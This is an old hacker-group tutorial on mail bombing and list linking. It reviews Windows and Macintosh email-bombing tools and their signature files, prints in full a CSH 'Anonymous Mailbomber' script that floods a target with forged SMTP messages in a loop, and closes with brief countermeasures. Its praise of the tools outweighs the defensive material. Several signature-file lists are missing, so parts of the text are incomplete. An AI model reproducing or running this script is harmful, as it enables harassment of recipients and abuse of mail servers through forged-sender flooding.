Mail Bombing and List Linking
by Tolda 
With comments and additions by R a v e N.
Written for BSRF.
The writers of this article nor BSRF believe that mail bombing and
list linking are against the law, and should not be carried out nor
tolerated by anyone. In fact, these are two of the dumbest things you
could do on the net, and will only get you mocked. Such attacks are
only carried out by kids with too much time in their hands, who are
not smart enough to carry out more sophisticated attacks.
Know Your Enemy
The Up Yours mail-bombing program is probably the most popular bomber
out there. It uses minimal resources, does a superb job, has a simple
user interface, and attempts to obscure the attacker's source
address. Features of the program include being able to specify times
of day to start and stop as well as the number of messages with which
it will hammer the target.
This bomber runs only on the Microsoft Windows platform. If you are a
system administrator, you will want to scan your local drives for the
If these files appear in a user's directory, there is a strong
likelihood that he is about to e-mail bomb someone (of course,
perhaps he simply spends his time collecting hacking and cracking
programs). In any event, the utility is hard to find. If one of your
users has acquired this program, he clearly has an interest in
hacking or cracking :o)
KaBoom differs significantly from Up Yours. In the main program, you
find a utility to list link. Using this function, you can subscribe
your target to hundreds of e-mail lists. When I say that a target has
been list-linked, I mean the target has been subscribed (without his
consent) to one or more mailing lists. Such tools submit registration
requests on behalf of the victim, forging his e-mail address. In any
event, this utility's signature files are these:
The Avalanche e-mail bombing utility works smoothly and is well
designed. The list groups are displayed in a drop-down combo box, and
their individual lists are displayed in a list box. Three clicks of a
mouse and your target is in hot water.
TIP: The programmer here was a bit absentminded. The program was
written at least in part in Microsoft Visual Basic 4.0. As such,
there are a series of DLL files that are required to run the
application. These are missing from the general distribution of this
utility; therefore, serious bombers must go out onto the Internet to
retrieve those files (one is OC2.DLL). Because of this, I would
estimate that Avalanche is probably used less than its counterparts,
even though its overall design is superior. Inconvenience discourages
most users of this particular ilk. The signature files for this
The Unabomber utility is a rudimentary tool, but one must give the
author credit for humor. Unabomber offers no list-linking
capabilities. It is essentially a flat e-mail bomber and does no more
than send messages over and over. One interesting element is that
Unabomber comes with a help function. The signature files for this
eXtreme Mail is well programmed. It includes an interactive
installation process that performs all the routine checks for disk
space, resources, and so forth. It also observes proper registry
conventions and is easily uninstalled.
The signature files for this product are:
The Homicide utility was written by a youngster with the moniker Frys
and was discontinued in 1996. The author claims that he wrote the
utility because Up Yours 2.0 was inadequate as an e-mail bombing
tool. However, with the release of Up Yours 3.0, Frys apparently
decided to discontinue any further releases. As of March 1997, it is
available only at a very few select sites.
The signature files for this utility are:
The UNIX MailBomb:
This UNIX e-mail bomber is reportedly written by CyberGoat, an
anonymous cracker out in the void. The signature file on this one is
It is in fact a CSH shell script and not a program, since Unix has
such powerful shells and shell scripting capabilities. It's main
advantage is that it is very small in size.
# Anonymous Mailbomber
# do chmod u+rwx <filename> where filename is the name of the file
# you saved it as.
#*** WARNING - THIS WILL CREATE AND DELETE A TEMP FILE CALLED
# IN THE DIRECTORY IT IS RUN FROM ****
echo -n "What is the name or address of the smtp server ?"
set server = $<
#echo open $server 25 > teltemp
echo quote helo somewhere.com >> teltemp
#The entry for the following should be a single name (goober),
#not firstname.lastname@example.org <mailto:email@example.com>.
echo -n "Who will this be from (e.g. somebody) ?"
set from = $<
echo quote mail from: $from >> teltemp
echo -n "Who is the lucky recipient (e.g. someone@somewhere) ? "
set name = $<
echo quote rcpt to: $name >> teltemp
echo quote data >> teltemp
echo quote . >> teltemp
echo quote quit >> teltemp
echo quit >> teltemp
echo -n "How many times should it be sent ?"
set amount = $<
set loop_count = 1
while ($loop_count <= $amount)
echo "Done $loop_count"
ftp -n $server 25 < teltemp
echo $amount e-mails complete to $name from $from@$server
# MailBomb by CyBerGoAT
The Bombtrack utility is reportedly the first mail-bombing tool
written for the Macintosh platform. It is another run-of-the-mill
bombing utility, widely available at cracker sites across the
Internet. The signature file for this application is:
FlameThrower is a bombing utility written for Macintosh. Its main
purpose is list linking; it allows the user to subscribe his target
to 100 lists. The binary is quite large, considering its intended
purpose. The signature for this file is:
Mail Bombing Countermeasures
There are many utilities out there (such as pop3free, pop3clean
etc') that will clean up POP3 mail accounts. To learn more about
POP3, refer to BSRF's POP3 tutorial.
As for web-based mail accounts, you can always save any real mails
that you got and delete all the rest (any web-based mail account
should have such a feature).
To report such attacks, send a message to your abuse team (for
example: if you have an account at hotmail.com, send your mail to
As for list linking, if you're facing a large attack and cannot
unsubscribe from all of the mailing list by yourself, consider
switching to another account. Sorry, there's no other way.
Post them to BSRF's message board at blacksun.box.sk.
Thanks for reading!